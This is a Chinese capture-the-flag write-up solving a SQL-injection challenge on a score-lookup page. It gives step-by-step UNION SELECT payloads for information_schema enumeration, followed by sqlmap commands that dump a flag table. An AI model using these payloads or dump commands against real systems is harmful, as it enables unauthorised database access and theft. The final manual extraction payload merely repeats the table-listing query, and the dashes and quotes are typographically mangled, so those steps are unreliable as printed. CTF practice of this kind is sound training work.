成绩单

开卷看题

查成绩真是人生中最刺激最惊险的事

查看分数

占位提示我们输入1、2、3,先信了他试一试

输入1、2、3都有数据返回,其余数据无返回结果,像极了SQL注入

开始尝试

知己知彼:猜测SQL

根据源码猜测是根据ID匹配信息的,这就跟sqlilabs很像了啊,放心大胆地猜测SQL为:

SELECT math,english,chinese FROM table WHERE id=number;

第一步:判断闭合方式

payload:1’and’1 发现正确回显,判定单引号闭合几率高达90%

第二步:判断返回的字段数

payload:0’ORDER+BY+4–+-

经过尝试发现1、2、3、4均正确而5错误说明返回4个字段

其实还可以靠分析和经验,页面中返回的信息有姓名和三科成绩,故最少返回4个数据(作者不坑人的情况下),直接从4开始尝试即可

第三步:判断哪些字段回显在页面上

payload:0’UNION+SELECT+1,2,3,4–+-

说明一下:既然知道了数据库返回4个字段并且和页面一一对应那为什么还要进行这步判断呢?岂不是多此一举?其实是想强调一下注入过程和思路,以后遇到返回字段数和页面显示不匹配的情况也不慌,同时还可以确定每个字段在页面的位置(很重要)

第四步:获取数据库信息

payload:0’UNION+SELECT+database(),user(),version(),4–+-

确定DBMS是MySQL5.5.34,同时当前使用的数据库是skctf_flag

注意:这步是确定当前信息的正确性,部分语法相似的数据库容易误判

第五步:获取所有数据库

payload:0’UNION+SELECT+database(),group_concat(SCHEMA_NAME),version(),4+FROM+information_schema.schemata–+-

显而易见,使用了每系统每用户,权限最小化,也确定了flag就在当前使用的数据库中(不在的几率低的忽略不计,但不排除,先看看)

第六步:获取skctf_flag数据库中所有的表

payload:0’UNION+SELECT+database(),group_concat(table_name),version(),4+FROM+information_schema.tables+WHERE+table_schema=’skctf_flag’–+-

skctf_flag数据库中的表:fl4g、sc

fl4g表比较可疑,先看

第七步:获取fl4g表中所有的字段

payload:0’UNION+SELECT+database(),group_concat(column_name),version(),4+FROM+information_schema.columns+WHERE+table_schema=’skctf_flag’+AND+table_name=’fl4g’–+-

fl4g表中的字段:skctf_flag

第八步:提取所有行数据

payload:0’UNION+SELECT+database(),group_concat(table_name),version(),4+FROM+information_schema.tables+WHERE+table_schema=’skctf_flag’–+-

历经千辛万苦终于拿下flag,测试无误,另外一个表肯定就是成绩单了,不看了

自动化工具

前面讲的都是手工测试,接下来带你们玩自动化工具sqlmap

注意:本人的sqlmap配置了fastkey可以全局使用,你们就不一定了

准备工作

由于是POST请求,需要准备一个数据包

本人保存为target.txt,名称随意

第一步:探测所有数据库

命令:sqlmap -r target.txt –dbs –batch

第二步:探测skctf_flag库中所有的表

命令:sqlmap -r target.txt -D skctf_flag –tables –batch

第三步:探测fl4g表中所有的字段

命令:sqlmap -r target.txt -D skctf_flag -T fl4g –columns –batch

第四步:提取行数据

命令:sqlmap -r target.txt -D skctf_flag -T fl4g -C skctf_flag –dump –batch

拿下,简单不?但是工具是辅助注入的,不可盲目依赖

后记

工具是提升效率的,前提是你已经掌握了技术

再好的工具你不会远离也无法发挥其威力

课后问答FAQ

Q:为什么有时候id用1,有时候却用0呢?

A:看当前操作是否需要正确的查询数据,比如构造联合查询就必须给一个不存在的ID否则自定义的数据将永不见天日


Q:为什么查询的字段要用group_concat函数

A:因为单词查询只会返回一条结果,为了将多个结果在同一次查询中返回


Q:为什么不先写SQLMAP

A:有简易方式你还会去尝试困难的吗?


Q:其他问题

A:懒得打字了,发邮箱或者加企鹅私聊吧